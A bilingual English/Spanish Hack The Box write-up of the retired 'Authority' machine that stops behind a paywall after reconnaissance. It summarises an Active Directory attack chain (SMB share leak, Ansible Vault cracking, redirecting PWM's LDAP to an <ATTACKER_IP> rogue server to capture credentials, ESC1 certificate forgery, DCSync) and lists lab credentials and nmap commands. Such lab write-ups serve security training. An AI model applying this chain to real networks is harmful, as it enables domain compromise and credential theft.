Authority
Executive summary — Authority chains three secrets-management failures, each one defeating the protection of the last: an unauthenticated SMB share leaks an Ansible automation repository holding Ansible Vault-encrypted secrets (a crackable rockyou passphrase), those secrets unlock PWM's Configuration Manager — which lets the LDAP server URL be rewritten to a rogue plaintext server to capture the proxy account's credential — and that account enables an ESC1-vulnerable AD CS template combined with
MachineAccountQuota=10to forge an administrator certificate. The twist: PKINIT doesn't work because the DC has no KDC certificate, so the real path into the domain is Schannel over LDAPS.
| Platform | Hack The Box |
| Operating system | Windows Server 2019 (Build 17763) |
| Difficulty | Medium |
| Status | Retired |
| Target IP | 10.129.229.56 |
Attack map
[SMB] \\Development, unauthenticated -> Ansible repo (3 Vault-encrypted secrets)
| rockyou -> passphrase "!@#$%^&*"
v
[Vault] svc_pwm / pWm_@dm!N_!23 -- PWM Configuration Manager credential
| PWM unlocked -> rewrite ldap.serverUrls to ldap://<ATTACKER_IP>:389
v
[Rogue LDAP] plaintext bind captured -> svc_ldap / lDaP_1n_th3_cle4r!
| WinRM (Remote Management Users)
v
[WinRM] svc_ldap -> user.txt
| AD CS: CorpVPN template vulnerable to ESC1, enroll=Domain Computers
| MachineAccountQuota=10 -> create "pwnbox$" -> cert with UPN=administrator
v
[PKINIT] fails (DC has no KDC certificate) -> pivot to Schannel/LDAPS
v
[ROOT] HTB\Administrator -> add_user_to_group Domain Admins -> DCSync -> root.txt
1. Reconnaissance
A ping ttl=127 (128 minus one hop) points at Windows before touching any service.
sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.229.56
29 open ports. The combination 53 + 88 + 389 + 445 + 464 + 636 + 3268/3269 + 9389 is the unmistakable signature of a Domain Controller. Two ports don't fit a standard DC:
| Port | Service | Note |
|---|---|---|
| 80 | IIS 10.0 | Default page, no content |
| 8443 | Apache Tomcat (ssl/http) | Not part of AD. This is where the attack surface is. |
sudo nmap -p53,80,88,135,139,389,445,464,636,3268,5985,8443,9389 -sCV -Pn -oN nmap-services.txt 10.129.229.56
389/tcp ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb)
| ssl-cert: Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp
8443/tcp ssl/http Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118 <- CN of an internal IP
|_clock-skew: mean: 4h00m04s, deviation: 0s, median: 4h00m04s
The domain is authority.htb; the Tomcat certificate's CN is a private IP from a different network (a sign the app was cloned without regenerating the certificate); and there's a 4-hour clock skew, which would break any Kerberos operation (Kerberos requires <5 minutes).
Honesty note: the clock skew turned out to be irrelevant on this box. It was flagged expecting to have to fix it before PKINIT, but PKINIT failed for a different reason (§8) and the path that actually worked — Schannel — doesn't use Kerberos. Logging it early is still the right call; assuming it would be the problem would have been a misdiagnosis.
echo "10.129.229.56 authority.htb authority.authority.htb AUTHORITY" | sudo tee -a /etc/hosts
Resumen ejecutivo — Authority encadena tres fallos de gestión de secretos, cada uno anulando la protección del anterior: un recurso SMB legible sin autenticación filtra un repositorio Ansible con secretos en Ansible Vault (passphrase crackeable con rockyou), esos secretos abren el Configuration Manager de PWM —que permite reescribir la URL del servidor LDAP hacia uno propio en texto claro para capturar la credencial de la cuenta proxy—, y esa cuenta habilita una plantilla de AD CS vulnerable a ESC1 combinada con
MachineAccountQuota=10para fabricar un certificado de administrador. El giro: PKINIT no funciona porque el DC no tiene certificado de KDC, así que la vía real hacia el dominio es Schannel sobre LDAPS.
| Plataforma | Hack The Box |
| Sistema operativo | Windows Server 2019 (Build 17763) |
| Dificultad | Medium |
| Estado | Retired |
| IP objetivo | 10.129.229.56 |
Mapa del ataque
[SMB] \\Development sin auth -> repo Ansible (3 secretos en Vault)
| rockyou -> passphrase "!@#$%^&*"
v
[Vault] svc_pwm / pWm_@dm!N_!23 -- credencial de PWM Config Manager
| PWM sin bloquear -> reescribir ldap.serverUrls a ldap://<ATTACKER_IP>:389
v
[LDAP falso] bind capturado en claro -> svc_ldap / lDaP_1n_th3_cle4r!
| WinRM (Remote Management Users)
v
[WinRM] svc_ldap -> user.txt
| AD CS: plantilla CorpVPN vulnerable a ESC1, enroll=Domain Computers
| MachineAccountQuota=10 -> crear "pwnbox$" -> cert con UPN=administrator
v
[PKINIT] falla (DC sin certificado de KDC) -> pivote a Schannel/LDAPS
v
[ROOT] HTB\Administrator -> add_user_to_group Domain Admins -> DCSync -> root.txt
1. Reconocimiento
El ttl=127 del ping (128 menos un salto) apunta a Windows antes de tocar ningún servicio.
sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.229.56
29 puertos abiertos. La combinación 53 + 88 + 389 + 445 + 464 + 636 + 3268/3269 + 9389 es la firma inequívoca de un Domain Controller. Dos puertos no encajan con un DC estándar:
| Puerto | Servicio | Comentario |
|---|---|---|
| 80 | IIS 10.0 | Página por defecto, sin contenido |
| 8443 | Apache Tomcat (ssl/http) | No es parte de AD. Aquí está la superficie de ataque. |
sudo nmap -p53,80,88,135,139,389,445,464,636,3268,5985,8443,9389 -sCV -Pn -oN nmap-services.txt 10.129.229.56
389/tcp ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb)
| ssl-cert: Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp
8443/tcp ssl/http Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118 <- CN de una IP interna
|_clock-skew: mean: 4h00m04s, deviation: 0s, median: 4h00m04s
El dominio es authority.htb; el certificado de Tomcat tiene un CN que es una IP privada de otra red (señal de que la app se clonó sin regenerar el certificado); y hay un desfase de reloj de 4 horas, que rompería cualquier operación Kerberos (Kerberos exige <5 minutos).
Nota de honestidad: el desfase acabó siendo irrelevante en esta máquina. Se anotó esperando tener que corregirlo antes del PKINIT, pero el PKINIT falló por un motivo distinto (§8) y la vía que sí funcionó —Schannel— no usa Kerberos. Registrarlo pronto sigue siendo correcto; asumir que iba a ser el problema habría sido un error de diagnóstico.
echo "10.129.229.56 authority.htb authority.authority.htb AUTHORITY" | sudo tee -a /etc/hosts
This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.
See Root Access plansNo account? Create one free then upgrade from your console.
Este contenido es solo para Root Access. Todo lo demás del sitio — el nivel gratuito, toda la biblioteca pública — sigue abierto.
Ver planes de Root Access¿Sin cuenta? Crea una gratis y luego mejora desde tu consola.